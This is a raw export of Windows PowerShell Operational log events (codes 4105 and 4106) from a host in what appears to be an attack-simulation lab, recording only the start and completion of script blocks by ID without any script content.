SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040416
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040415
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040410
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040409
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040387
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040386
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040385
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040384
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040368
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040367
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
